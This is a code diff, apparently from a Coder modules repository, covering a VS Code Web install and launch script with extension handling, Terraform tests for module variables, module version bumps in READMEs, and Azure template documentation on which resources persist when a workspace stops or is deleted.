version="0.0.0"
|
||||
fi
|
||||
|
||||
# Install to extensions directory
|
||||
local ext_dir="$HOME/.vscode-server/extensions/$ext_id-$version"
|
||||
mkdir -p "$HOME/.vscode-server/extensions"
|
||||
rm -rf "$ext_dir"
|
||||
mv "$tmp_dir/extension" "$ext_dir"
|
||||
|
||||
# Cleanup
|
||||
rm -rf "$tmp_vsix" "$tmp_dir"
|
||||
printf "Extension $ext_id v$version installed successfully.\n"
|
||||
return 0
|
||||
}
|
||||
|
||||
install_extensions() {
|
||||
# Install specified extensions
|
||||
IFS=',' read -r -a EXTENSIONLIST <<< "$${EXTENSIONS}"
|
||||
for extension in "$${EXTENSIONLIST[@]}"; do
|
||||
if [ -z "$extension" ]; then
|
||||
continue
|
||||
fi
|
||||
printf "Installing extension $extension...\n"
|
||||
install_extension_vsix "$extension"
|
||||
done
|
||||
|
||||
# Auto-install extensions from workspace or folder
|
||||
if [ "${AUTO_INSTALL_EXTENSIONS}" = true ]; then
|
||||
if ! command -v jq > /dev/null; then
|
||||
echo "jq is required to install extensions from a workspace file."
|
||||
else
|
||||
if [ -n "${WORKSPACE}" ] && [ -f "${WORKSPACE}" ]; then
|
||||
printf "Installing extensions from %s...\n" "${WORKSPACE}"
|
||||
extensions=$(sed 's|//.*||g' "${WORKSPACE}" | jq -r '(.extensions.recommendations // [])[]')
|
||||
for extension in $extensions; do
|
||||
$VSCODE_WEB "$EXTENSION_ARG" --install-extension "$extension" --force
|
||||
install_extension_vsix "$extension"
|
||||
done
|
||||
else
|
||||
WORKSPACE_DIR="$HOME"
|
||||
if [ -n "${FOLDER}" ]; then
|
||||
WORKSPACE_DIR="${FOLDER}"
|
||||
fi
|
||||
if [ -f "$WORKSPACE_DIR/.vscode/extensions.json" ]; then
|
||||
printf "Installing extensions from %s/.vscode/extensions.json...\n" "$WORKSPACE_DIR"
|
||||
extensions=$(sed 's|//.*||g' "$WORKSPACE_DIR/.vscode/extensions.json" | jq -r '.recommendations[]')
|
||||
for extension in $extensions; do
|
||||
install_extension_vsix "$extension"
|
||||
done
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# Apply machine settings (merge with existing if present)
|
||||
SETTINGS_B64='${SETTINGS_B64}'
|
||||
if [ -n "$SETTINGS_B64" ]; then
|
||||
SETTINGS_JSON="$(echo -n "$SETTINGS_B64" | base64 -d)"
|
||||
merge_settings "$SETTINGS_JSON" ~/.vscode-server/data/Machine/settings.json
|
||||
fi
|
||||
|
||||
run_vscode_web
|
||||
# Determine which command to use
|
||||
CODE_CMD=""
|
||||
RUN_MODE=""
|
||||
|
||||
# Check for code CLI first (preferred)
|
||||
if CODE_CMD=$(check_code_cli); then
|
||||
printf "$${BOLD}Found VS Code CLI at $CODE_CMD$${RESET}\n"
|
||||
RUN_MODE="cli"
|
||||
fi
|
||||
|
||||
# Handle offline mode
|
||||
if [ "${OFFLINE}" = true ]; then
|
||||
if [ -n "$CODE_CMD" ]; then
|
||||
# Check if vscode-server is already downloaded (code serve-web won't need to download)
|
||||
if VSCODE_SERVER=$(find_vscode_server); then
|
||||
printf "Found cached VS Code Server at $VSCODE_SERVER\n"
|
||||
printf "Using cached VS Code CLI.\n"
|
||||
run_vscode_web_cli "$CODE_CMD"
|
||||
exit 0
|
||||
fi
|
||||
# Code CLI exists but vscode-server not cached - try using it anyway
|
||||
# (it might work if server was pre-downloaded, or fail gracefully)
|
||||
printf "Warning: VS Code Server may not be cached. Attempting to start...\n"
|
||||
printf "Using cached VS Code CLI.\n"
|
||||
run_vscode_web_cli "$CODE_CMD"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Try code-server as fallback for offline mode
|
||||
if SERVER_CMD=$(check_code_server); then
|
||||
printf "$${BOLD}Found code-server at $SERVER_CMD (offline fallback)$${RESET}\n"
|
||||
run_code_server "$SERVER_CMD"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Try vscode-server binary directly
|
||||
if VSCODE_SERVER=$(find_vscode_server); then
|
||||
printf "$${BOLD}Found VS Code Server at $VSCODE_SERVER (offline fallback)$${RESET}\n"
|
||||
run_vscode_server "$VSCODE_SERVER"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo "Offline mode enabled but no VS Code CLI, code-server, or cached VS Code Server found."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Handle use_cached mode
|
||||
if [ "${USE_CACHED}" = true ] && [ -n "$CODE_CMD" ]; then
|
||||
printf "Using cached VS Code CLI.\n"
|
||||
install_extensions
|
||||
run_vscode_web_cli "$CODE_CMD"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Install VS Code CLI if not present
|
||||
if [ -z "$CODE_CMD" ]; then
|
||||
install_code_cli
|
||||
CODE_CMD="${INSTALL_PREFIX}/bin/code"
|
||||
RUN_MODE="cli"
|
||||
fi
|
||||
|
||||
# Install extensions and run VS Code Web
|
||||
install_extensions
|
||||
run_vscode_web_cli "$CODE_CMD"
|
||||
|
||||
@@ -0,0 +1,151 @@
|
||||
run "required_vars" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
accept_license = true
|
||||
}
|
||||
}
|
||||
|
||||
run "accept_license_required" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
accept_license = false
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
var.accept_license
|
||||
]
|
||||
}
|
||||
|
||||
run "offline_and_use_cached_conflict" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
accept_license = true
|
||||
use_cached = true
|
||||
offline = true
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
resource.coder_script.vscode-web
|
||||
]
|
||||
}
|
||||
|
||||
run "offline_disallows_extensions" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
accept_license = true
|
||||
offline = true
|
||||
extensions = ["ms-python.python", "golang.go"]
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
resource.coder_script.vscode-web
|
||||
]
|
||||
}
|
||||
|
||||
run "workspace_and_folder_conflict" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
accept_license = true
|
||||
folder = "/home/coder/project"
|
||||
workspace = "/home/coder/project.code-workspace"
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
resource.coder_script.vscode-web
|
||||
]
|
||||
}
|
||||
|
||||
run "url_with_folder_query" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
accept_license = true
|
||||
folder = "/home/coder/project"
|
||||
port = 13338
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = resource.coder_app.vscode-web.url == "http://localhost:13338?folder=%2Fhome%2Fcoder%2Fproject"
|
||||
error_message = "coder_app URL must include encoded folder query param"
|
||||
}
|
||||
}
|
||||
|
||||
run "url_with_workspace_query" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
accept_license = true
|
||||
workspace = "/home/coder/project.code-workspace"
|
||||
port = 13338
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = resource.coder_app.vscode-web.url == "http://localhost:13338?workspace=%2Fhome%2Fcoder%2Fproject.code-workspace"
|
||||
error_message = "coder_app URL must include encoded workspace query param"
|
||||
}
|
||||
}
|
||||
|
||||
run "release_channel_stable" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
accept_license = true
|
||||
release_channel = "stable"
|
||||
}
|
||||
}
|
||||
|
||||
run "release_channel_insiders" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
accept_license = true
|
||||
release_channel = "insiders"
|
||||
}
|
||||
}
|
||||
|
||||
run "release_channel_invalid" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
accept_license = true
|
||||
release_channel = "invalid"
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
var.release_channel
|
||||
]
|
||||
}
|
||||
|
||||
run "commit_id_empty_by_default" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
accept_license = true
|
||||
}
|
||||
}
|
||||
|
||||
run "commit_id_with_value" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "foo"
|
||||
accept_license = true
|
||||
commit_id = "e54c774e0add60467559eb0d1e229c6452cf8447"
|
||||
}
|
||||
}
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "windsurf" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/windsurf/coder"
|
||||
version = "1.3.0"
|
||||
version = "1.3.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "windsurf" {
|
||||
module "windsurf" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/windsurf/coder"
|
||||
version = "1.3.0"
|
||||
version = "1.3.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -45,7 +45,7 @@ The following example configures Windsurf to use the GitHub MCP server with auth
|
||||
module "windsurf" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/windsurf/coder"
|
||||
version = "1.3.0"
|
||||
version = "1.3.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
mcp = jsonencode({
|
||||
|
||||
@@ -65,7 +65,7 @@ locals {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -27,8 +27,21 @@ This template provisions the following resources:
|
||||
|
||||
- Azure VM (ephemeral, deleted on stop)
|
||||
- Managed disk (persistent, mounted to `/home/coder`)
|
||||
- Resource group, virtual network, subnet, and network interface (persistent, required by the managed disk and VM)
|
||||
|
||||
This means, when the workspace restarts, any tools or files outside of the home directory are not persisted. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
|
||||
### What happens on stop
|
||||
|
||||
When a workspace is **stopped**, only the VM is destroyed. The managed disk, resource group, virtual network, subnet, and network interface all persist. This is by design — the managed disk retains your `/home/coder` data across workspace restarts, and the other resources remain because the disk depends on them.
|
||||
|
||||
This means you will see these Azure resources in your subscription even when a workspace is stopped. This is expected behavior.
|
||||
|
||||
### What happens on delete
|
||||
|
||||
When a workspace is **deleted**, all resources are destroyed, including the resource group, networking resources, and managed disk.
|
||||
|
||||
### Workspace restarts
|
||||
|
||||
Since the VM is ephemeral, any tools or files outside of the home directory are not persisted across restarts. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
|
||||
|
||||
> [!NOTE]
|
||||
> This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case.
|
||||
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "positron" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/cytoshahar/positron/coder"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "positron" {
|
||||
module "positron" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/cytoshahar/positron/coder"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
|
||||
@@ -41,13 +41,13 @@ variable "group" {
|
||||
variable "slug" {
|
||||
type = string
|
||||
description = "The slug of the app."
|
||||
default = "cursor"
|
||||
default = "positron"
|
||||
}
|
||||
|
||||
variable "display_name" {
|
||||
type = string
|
||||
description = "The display name of the app."
|
||||
default = "Cursor Desktop"
|
||||
default = "Positron Desktop"
|
||||
}
|
||||
|
||||
data "coder_workspace" "me" {}
|
||||
@@ -55,7 +55,7 @@ data "coder_workspace_owner" "me" {}
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
Reference in New Issue
Block a user